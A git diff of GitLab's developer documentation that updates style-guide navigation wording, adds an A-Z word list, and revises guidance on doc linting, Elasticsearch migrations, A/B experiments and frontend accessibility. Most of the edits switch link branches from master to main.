-- Go to the Admin Area (**{admin}**) and select **Overview > Projects**.
+1. On the top bar, select **Menu > Project** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
-For expandable menus, use this format:
+Another example:
-1. Go to your group and select **Settings > CI/CD**.
+1. On the top bar, select **Menu > Group** and find your group.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **General pipelines**.
+An Admin Area example:
+
+`1. On the top bar, select **Menu >** **{admin}** **Admin**.`
+
+This text generates this HTML:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+
## Images
Images, including screenshots, can help a reader better understand a concept.
@@ -1309,7 +1276,7 @@ hidden on the documentation site, but is displayed by `/help`.
## Code blocks
- Always wrap code added to a sentence in inline code blocks (`` ` ``).
- For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [master]`.
+ For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [main]`.
File names, commands, entries, and anything that refers to code should be
added to code blocks. To make things easier for the user, always add a full
code block for things that can be useful to copy and paste, as they can do it
@@ -1416,10 +1383,10 @@ readability of the text.
For example, this Markdown adds little to the accompanying text:
```markdown
-1. Go to **{home}** **Project overview > Details**.
+1. Go to **{home}** **Project information > Details**.
```
-1. Go to **{home}** **Project overview > Details**.
+1. Go to **{home}** **Project information > Details**.
However, these tables might help the reader connect the text to the user
interface:
diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md
new file mode 100644
index 00000000000..fd8766bbfb6
--- /dev/null
+++ b/doc/development/documentation/styleguide/word_list.md
@@ -0,0 +1,163 @@
+---
+stage: none
+group: Style Guide
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.'
+---
+
+# A-Z word list
+
+To help ensure consistency in the documentation, follow this guidance.
+
+<!-- vale off -->
+<!-- markdownlint-disable -->
+
+## above
+
+Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **previously** instead.
+
+## admin, admin area
+
+Use **administration**, **administrator**, **administer**, or **Admin Area** instead. ([Vale](../testing.md#vale) rule: [`Admin.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Admin.yml))
+
+## allow, enable
+
+Try to avoid, unless you are talking about security-related features. For example, instead of "This feature allows you to create a pipeline," use "Use this feature to create a pipeline." This phrasing is more active and is from the user perspective, rather than the person who implemented the feature. [View details](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows).
+
+## and/or
+
+Instead of **and/or**, use or or rewrite the sentence to spell out both options.
+
+## below
+
+Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **following** instead.
+
+## currently
+
+Do not use when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml))
+
+## Developer
+
+When writing about the Developer role, use a capital "D." Do not use the phrase, "if you are a developer"
+to mean someone who is assigned the Developer role. Instead, write it out. "If you are assigned the Developer role..."
+
+Do not use "Developer permissions." A user who is assigned the Developer role has a set of associated permissions.
+
+## easily
+
+Do not use. If the user doesn't find the process to be these things, we lose their trust.
+
+## e.g.
+
+Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml))
+
+## future tense
+
+When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml))
+
+## GitLab
+
+Do not make possessive (GitLab's). This guidance follows [GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/brand-guidelines/#trademark).
+
+## Guest
+
+When writing about the Guest role, use a capital "G." Do not use the phrase, "if you are a guest"
+to mean someone who is assigned the Guest role. Instead, write it out. "If you are assigned the Guest role..."
+
+Do not use "Guest permissions." A user who is assigned the Guest role has a set of associated permissions.
+
+## handy
+
+Do not use. If the user doesn't find the process to be these things, we lose their trust.
+
+## high availability, HA
+
+Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users.
+
+## I
+
+Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml))
+
+## i.e.
+
+Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml))
+
+## Maintainer
+
+When writing about the Maintainer role, use a capital "M." Do not use the phrase, "if you are a maintainer"
+to mean someone who is assigned the Maintainer role. Instead, write it out. "If you are assigned the Maintainer role..."
+
+Do not use "Maintainer permissions." A user who is assigned the Maintainer role has a set of associated permissions.
+
+## may, might
+
+**Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**.
+
+## me, myself, mine
+
+Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml))
+
+## Owner
+
+When writing about the Owner role, use a capital "M." Do not use the phrase, "if you are an owner"
+to mean someone who is assigned the Owner role. Instead, write it out. "If you are assigned the Owner role..."
+
+Do not use "Owner permissions." A user who is assigned the Owner role has a set of associated permissions.
+
+## permissions
+
+Do not use roles and permissions interchangeably. Each user is assigned a role. Each role includes a set of permissions.
+
+## please
+
+Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please).
+
+## profanity
+
+Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion).
+
+## Reporter
+
+When writing about the Reporter role, use a capital "R." Do not use the phrase, "if you are a reporter"
+to mean someone who is assigned the Reporter role. Instead, write it out. "If you are assigned the Reporter role..."
+
+Do not use "Reporter permissions." A user who is assigned the Reporter role has a set of associated permissions.
+
+## roles
+
+Do not use roles and permissions interchangeably. Each user is assigned a role. Each role includes a set of permissions.
+
+## scalability
+
+Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page.
+
+## simply
+
+Do not use. If the user doesn't find the process to be these things, we lose their trust.
+
+## slashes
+
+Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed.
+
+## subgroup
+
+Use instead of `sub-group`.
+
+## that
+
+Do not use. Example: `the file that you save` can be `the file you save`.
+
+## useful
+
+Do not use. If the user doesn't find the process to be these things, we lose their trust.
+
+## utilize
+
+Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand.
+
+## via
+
+Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml))
+
+<!-- vale on -->
+<!-- markdownlint-enable -->
diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md
index af95f3b9023..b634e2b93db 100644
--- a/doc/development/documentation/testing.md
+++ b/doc/development/documentation/testing.md
@@ -20,7 +20,7 @@ For the specifics of each test run in our CI/CD pipelines, see the configuration
in the relevant projects:
- <https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml>
-- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml>
+- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/main/.gitlab/ci/docs.gitlab-ci.yml>
- <https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/gitlab-ci-config/gitlab-com.yml>
- <https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/.gitlab-ci.yml>
@@ -44,7 +44,7 @@ To run tests locally, it's important to:
### Lint checks
-Lint checks are performed by the [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/lint-doc.sh)
+Lint checks are performed by the [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/lint-doc.sh)
script and can be executed as follows:
1. Navigate to the `gitlab` directory.
@@ -168,7 +168,7 @@ You can use markdownlint:
[Vale](https://docs.errata.ai/vale/about/) is a grammar, style, and word usage linter for the
English language. Vale's configuration is stored in the
-[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) file located in the root
+[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.vale.ini) file located in the root
directory of projects.
Vale supports creating [custom tests](https://errata-ai.github.io/vale/styles/) that extend any of
@@ -178,7 +178,7 @@ documentation directory of projects.
You can find Vale configuration in the following projects:
- [`gitlab`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/.vale/gitlab)
-- [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/master/docs/.vale/gitlab)
+- [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs/.vale/gitlab)
- [`omnibus-gitlab`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/tree/master/doc/.vale/gitlab)
- [`charts`](https://gitlab.com/gitlab-org/charts/gitlab/-/tree/master/doc/.vale/gitlab)
- [`gitlab-development-kit`](https://gitlab.com/gitlab-org/gitlab-development-kit/-/tree/master/doc/.vale/gitlab)
@@ -222,7 +222,7 @@ build pipelines:
```
We recommend installing the version of `markdownlint-cli`
- [used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) when building
+ [used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building
the `image:docs-lint-markdown`.
1. Install [`vale`](https://github.com/errata-ai/vale/releases). For example, to install using
@@ -240,7 +240,7 @@ It's important to use linter versions that are the same or newer than those run
CI/CD. This provides access to new features and possible bug fixes.
To match the versions of `markdownlint-cli` and `vale` used in the GitLab projects, refer to the
-[versions used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447)
+[versions used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml)
when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD.
| Tool | Version | Command | Additional information |
@@ -273,7 +273,7 @@ To configure Vale in your editor, install one of the following as appropriate:
- Select the **Use CLI** checkbox.
- In the <!-- vale gitlab.Spelling = NO --> **Config** setting, enter an absolute
- path to [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini)
+ path to [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.vale.ini)
in one of the cloned GitLab repositories on your computer.
<!-- vale gitlab.Spelling = YES -->
@@ -330,7 +330,18 @@ document:
- To disable all Vale linting rules, add a `<!-- vale off -->` tag before the text, and a
`<!-- vale on -->` tag after the text.
-Whenever possible, exclude only the problematic rule and line(s).
+Whenever possible, exclude only the problematic rule and lines.
For more information, see
[Vale's documentation](https://docs.errata.ai/vale/scoping#markup-based-configuration).
+
+### Disable markdownlint tests
+
+To disable all markdownlint rules, add a `<!-- markdownlint-disable -->` tag before the text, and a
+`<!-- markdownlint-enable -->` tag after the text.
+
+To disable only a [specific rule](https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#rules),
+add the rule number to the tag, for example `<!-- markdownlint-disable MD044 -->`
+and `<!-- markdownlint-enable MD044 -->`.
+
+Whenever possible, exclude only the problematic lines.
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index 8e2028532e4..f035b4d0888 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -85,8 +85,8 @@ If you are a member of the GitLab Slack workspace, you can request help in `#doc
### Reviewing and merging
-Anyone with Maintainer access to the relevant GitLab project can merge documentation changes.
-Maintainers must make a good-faith effort to ensure that the content:
+Anyone with the [Maintainer role](../../user/permissions.md) to the relevant GitLab project can
+merge documentation changes. Maintainers must make a good-faith effort to ensure that the content:
- Is clear and sufficiently easy for the intended audience to navigate and understand.
- Meets the [Documentation Guidelines](index.md) and [Style Guide](styleguide/index.md).
@@ -115,7 +115,7 @@ The process involves the following:
and link it from the merge request.
The process is reflected in the **Documentation**
-[merge request template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/merge_request_templates/Documentation.md).
+[merge request template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Documentation.md).
## Other ways to help
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index 452b957c705..fb00fe748d0 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -30,7 +30,7 @@ should be added for EE. Licensed features can be stubbed using the
spec helper `stub_licensed_features` in `EE::LicenseHelpers`.
You can force GitLab to act as CE by either deleting the `ee/` directory or by
-setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/gitlab/blob/master/config/helpers/is_ee_env.js)
+setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/helpers/is_ee_env.js)
to something that evaluates as `true`. The same works for running tests
(for example `FOSS_ONLY=1 yarn jest`).
@@ -71,7 +71,7 @@ is applied not only to models. Here's a list of other examples:
- `ee/app/views/foo/_bar.html.haml`
This works because for every path that is present in CE's eager-load/auto-load
-paths, we add the same `ee/`-prepended path in [`config/application.rb`](https://gitlab.com/gitlab-org/gitlab/blob/925d3d4ebc7a2c72964ce97623ae41b8af12538d/config/application.rb#L42-52).
+paths, we add the same `ee/`-prepended path in [`config/application.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/925d3d4ebc7a2c72964ce97623ae41b8af12538d/config/application.rb#L42-52).
This also applies to views.
#### Testing EE-only features
@@ -538,7 +538,7 @@ In this case, we could as well just use `render_ce` which would ignore any EE
partials. One example would be
`ee/app/views/shared/issuable/form/_default_templates.html.haml`:
-``` haml
+```haml
- if @project.feature_available?(:issuable_default_templates)
= render_ce 'shared/issuable/form/default_templates'
- elsif show_promotions?
diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md
index 6b829faf74d..d5f6e95033f 100644
--- a/doc/development/elasticsearch.md
+++ b/doc/development/elasticsearch.md
@@ -36,15 +36,15 @@ Additionally, if you need large repositories or multiple forks for testing, plea
## How does it work?
-The Elasticsearch integration depends on an external indexer. We ship an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). The user must trigger the initial indexing via a Rake task but, after this is done, GitLab itself will trigger reindexing when required via `after_` callbacks on create, update, and destroy that are inherited from [`/ee/app/models/concerns/elastic/application_versioned_search.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/concerns/elastic/application_versioned_search.rb).
+The Elasticsearch integration depends on an external indexer. We ship an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). The user must trigger the initial indexing via a Rake task but, after this is done, GitLab itself will trigger reindexing when required via `after_` callbacks on create, update, and destroy that are inherited from [`/ee/app/models/concerns/elastic/application_versioned_search.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/concerns/elastic/application_versioned_search.rb).
After initial indexing is complete, create, update, and delete operations for all models except projects (see [#207494](https://gitlab.com/gitlab-org/gitlab/-/issues/207494)) are tracked in a Redis [`ZSET`](https://redis.io/topics/data-types#sorted-sets). A regular `sidekiq-cron` `ElasticIndexBulkCronWorker` processes this queue, updating many Elasticsearch documents at a time with the [Bulk Request API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-bulk.html).
-Search queries are generated by the concerns found in [`ee/app/models/concerns/elastic`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/models/concerns/elastic). These concerns are also in charge of access control, and have been a historic source of security bugs so please pay close attention to them!
+Search queries are generated by the concerns found in [`ee/app/models/concerns/elastic`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/models/concerns/elastic). These concerns are also in charge of access control, and have been a historic source of security bugs so please pay close attention to them!
## Existing Analyzers/Tokenizers/Filters
-These are all defined in [`ee/lib/elastic/latest/config.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/elastic/latest/config.rb)
+These are all defined in [`ee/lib/elastic/latest/config.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb)
### Analyzers
@@ -214,7 +214,7 @@ end
```
Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All migrations not executed
-are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb)
cron worker sequentially.
To update Elastic index mappings, apply the configuration to the respective files:
@@ -227,15 +227,15 @@ Any data or index cleanup needed to support migration retries should be handled
### Migration options supported by the `Elastic::MigrationWorker`
-[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options:
+[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options:
-- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb)
will re-enqueue itself with a delay which is set using the `throttle_delay` option described below. The batching
must be handled within the `migrate` method, this setting controls the re-enqueuing only.
- `throttle_delay` - Sets the wait time in between batch runs. This time should be set high enough to allow each migration batch
enough time to finish. Additionally, the time should be less than 30 minutes since that is how often the
-[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb)
cron worker runs. Default value is 5 minutes.
- `pause_indexing!` - Pause indexing while the migration runs. This setting will record the indexing setting before
@@ -308,12 +308,15 @@ We choose to use GitLab major version upgrades as a safe time to remove
backwards compatibility for indices that have not been fully migrated. We
[document this in our upgrade
documentation](../update/index.md#upgrading-to-a-new-major-version). We also
-choose to remove the migration code and tests so that:
+choose to replace the migration code with the halted migration
+and remove tests so that:
- We don't need to maintain any code that is called from our Advanced Search
migrations.
- We don't waste CI time running tests for migrations that we don't support
anymore.
+- Operators who have not run this migration and who upgrade directly to the
+ target version will see a message prompting them to reindex from scratch.
To be extra safe, we will not delete migrations that were created in the last
minor version before the major upgrade. So, if we are upgrading to `%14.0`,
@@ -334,18 +337,10 @@ For every migration that was created 2 minor versions before the major version
being upgraded to, we do the following:
1. Confirm the migration has actually completed successfully for GitLab.com.
-1. Replace the content of `migrate` and `completed?` methods as follows:
+1. Replace the content of the migration with:
```ruby
- def migrate
- log_raise "Migration has been deleted in the last major version upgrade." \
- "Migrations are supposed to be finished before upgrading major version https://docs.gitlab.com/ee/update/#upgrading-to-a-new-major-version ." \
- "To correct this issue, recreate your index from scratch: https://docs.gitlab.com/ee/integration/elasticsearch.html#last-resort-to-recreate-an-index."
- end
-
- def completed?
- false
- end
+ include Elastic::MigrationObsolete
```
1. Delete any spec files to support this migration.
diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/event_tracking/backend.md
+++ b/doc/development/event_tracking/backend.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/event_tracking/frontend.md
+++ b/doc/development/event_tracking/frontend.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/event_tracking/index.md
+++ b/doc/development/event_tracking/index.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/experiment_guide/experimentation.md b/doc/development/experiment_guide/experimentation.md
index 7135f8acd9b..ee0f63342f1 100644
--- a/doc/development/experiment_guide/experimentation.md
+++ b/doc/development/experiment_guide/experimentation.md
@@ -6,10 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Create an A/B test with `Experimentation Module`
+NOTE:
+We recommend using [GLEX](gitlab_experiment.md) for new experiments.
+
## Implement the experiment
1. Add the experiment to the `Gitlab::Experimentation::EXPERIMENTS` hash in
- [`experimentation.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib%2Fgitlab%2Fexperimentation.rb):
+ [`experimentation.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib%2Fgitlab%2Fexperimentation.rb):
```ruby
EXPERIMENTS = {
diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md
index db9bc521cfd..820d1da0080 100644
--- a/doc/development/experiment_guide/gitlab_experiment.md
+++ b/doc/development/experiment_guide/gitlab_experiment.md
@@ -394,6 +394,26 @@ You may be asked from time to time to track a specific record ID in experiments.
The approach is largely up to the PM and engineer creating the implementation.
No recommendations are provided here at this time.
+### Record experiment subjects
+
+Snowplow tracking of identifiable users or groups is prohibited, but you can still
+determine if an experiment is successful or not. We're allowed to record the ID of
+a namespace, project or user in our database. Therefore, we can tell the experiment
+to record their ID together with the assigned experiment variant in the
+`experiment_subjects` database table for later analysis.
+
+For the recording to work, the experiment's context must include a `namespace`,
+`group`, `project`, `user`, or `actor`.
+
+To record the experiment subject when you first assign a variant, call `record!` in
+the experiment's block:
+
+```ruby
+experiment(:pill_color, actor: current_user) do |e|
+ e.record!
+end
+```
+
## Test with RSpec
This gem provides some RSpec helpers and custom matchers. These are in flux as of GitLab 13.10.
diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md
index 0d534a974a1..798c6ff84d0 100644
--- a/doc/development/experiment_guide/index.md
+++ b/doc/development/experiment_guide/index.md
@@ -12,7 +12,7 @@ Experiments are run as an A/B/n test, and are behind a feature flag to turn the
## Experiment tracking issue
-Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. The tracking issue is similar to a feature flag rollout issue, and is also used to track the status of an experiment. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future).
+Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. The tracking issue is similar to a feature flag rollout issue, and is also used to track the status of an experiment. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future).
After the deadline, the issue needs to be resolved and either:
- It was successful and the experiment becomes the new default.
@@ -46,17 +46,25 @@ One is built into GitLab directly and has been around for a while (this is calle
to as `Gitlab::Experiment` -- GLEX for short.
Both approaches use [experiment](../feature_flags/index.md#experiment-type)
-feature flags, and there is currently no strong suggestion to use one over the other.
+feature flags. We recommend using GLEX rather than `Experimentation Module` for new experiments.
-| Feature | `Experimentation Module` | GLEX |
-| -------------------- |------------------------- | ---- |
-| Record user grouping | Yes | No |
-| Uses feature flags | Yes | Yes |
-| Multivariate (A/B/n) | No | Yes |
-
-- [Implementing an A/B experiment using `Experimentation Module`](experimentation.md)
- [Implementing an A/B/n experiment using GLEX](gitlab_experiment.md)
+- [Implementing an A/B experiment using `Experimentation Module`](experimentation.md)
Historical Context: `Experimentation Module` was built iteratively with the needs that
appeared while implementing Growth sub-department experiments, while GLEX was built
with the findings of the team and an easier to use API.
+
+### Add new icons and illustrations for experiments
+
+Some experiments may require you to add custom icons or illustrations to our codebase.
+This process is lengthy and at this stage, the outcome of the experiment uncertain.
+Therefore, you should postpone this effort until the [experiment cleanup process](https://about.gitlab.com/handbook/engineering/development/growth/#experiment-cleanup-issue).
+
+We recommend the following workflow:
+
+1. Add an icon or illustration as an `.svg` file in the `/app/assets/images` (or EE) path in the GitLab repository.
+1. Use `image_tag` or `image_path` to render it via the asset pipeline.
+1. **If the experiment is a success**, designers add the new icon or illustration to the Pajamas UI kit as part of the cleanup process.
+ Engineers can then add it to the [SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) and modify the implementation based on the
+ [Frontend Development Guidelines](../fe_guide/icons.md#usage-in-hamlrails-2).
diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md
index ab1325c67a9..15818941b24 100644
--- a/doc/development/fe_guide/accessibility.md
+++ b/doc/development/fe_guide/accessibility.md
@@ -39,9 +39,20 @@ so when in doubt don't use `aria-*`, `role`, and `tabindex` and stick with seman
- [Clickable icons](#icons-that-are-clickable) are buttons, that is, `<gl-button icon="close" />` is used and not `<gl-icon />`.
- Icon-only buttons have an `aria-label`.
- Interactive elements can be [accessed with the Tab key](#support-keyboard-only-use) and have a visible focus state.
+- Elements with [tooltips](#tooltips) are focusable using the Tab key.
- Are any `role`, `tabindex` or `aria-*` attributes unnecessary?
- Can any `div` or `span` elements be replaced with a more semantic [HTML element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) like `p`, `button`, or `time`?
+## Provide a good document outline
+
+[Headings are the primary mechanism used by screen reader users to navigate content](https://webaim.org/projects/screenreadersurvey8/#finding).
+Therefore, the structure of headings on a page should make sense, like a good table of contents.
+We should ensure that:
+
+- There is only one `h1` element on the page.
+- Heading levels are not skipped.
+- Heading levels are nested correctly.
+
## Provide accessible names for screen readers
To provide markup with accessible names, ensure every:
@@ -257,6 +268,9 @@ Image examples:
<!-- SVGs implicitly have a graphics role so if it is semantically an image we should apply `role="img"` -->
<svg role="img" :alt="__('A description of the image')" />
+
+<!-- A decorative image, hidden from screen readers -->
+<img :src="imagePath" :alt="" />
```
#### Buttons and links with descriptive accessible names
@@ -275,6 +289,14 @@ Buttons and links should have accessible names that are descriptive enough to be
<gl-link :href="url">{{ __("GitLab's accessibility page") }}</gl-link>
```
+#### Links styled like buttons
+
+Links can be styled like buttons using `GlButton`.
+
+```html
+ <gl-button :href="url">{{ __('Link styled as a button') }}</gl-button>
+```
+
## Role
In general, avoid using `role`.
@@ -336,7 +358,7 @@ Once the markup is semantically complete, use CSS to update it to its desired vi
<div role="button" tabindex="0" @click="expand">Expand</div>
<!-- good -->
-<gl-button @click="expand">Expand</gl-button>
+<gl-button class="gl-p-0!" category="tertiary" @click="expand">Expand</gl-button>
```
### Do not use `tabindex="0"` on interactive elements
@@ -423,6 +445,30 @@ Icons that are clickable are semantically buttons, so they should be rendered as
<gl-button icon="close" category="tertiary" :aria-label="__('Close')" @click="handleClick" />
```
+## Tooltips
+
+When adding tooltips, we must ensure that the element with the tooltip can receive focus so keyboard users can see the tooltip.
+If the element is a static one, such as an icon, we can enclose it in a button, which already is
+focusable, so we don't have to add `tabindex=0` to the icon.
+
+The following code snippet is a good example of an icon with a tooltip.
+
+- It is automatically focusable, as it is a button.
+- It is given an accessible name with `aria-label`, as it is a button with no text.
+- We can use the `gl-hover-bg-transparent!` class if we don't want the button's background to become gray on hover.
+- We can use the `gl-p-0!` class to remove the button padding, if needed.
+
+```html
+<gl-button
+ v-gl-tooltip
+ class="gl-hover-bg-transparent! gl-p-0!"
+ icon="warning"
+ category="tertiary"
+ :title="tooltipText"
+ :aria-label="__('Warning')"
+/>
+```
+
## Hiding elements
Use the following table to hide elements from users, when appropriate.
@@ -478,5 +524,3 @@ We have two options for Web accessibility testing:
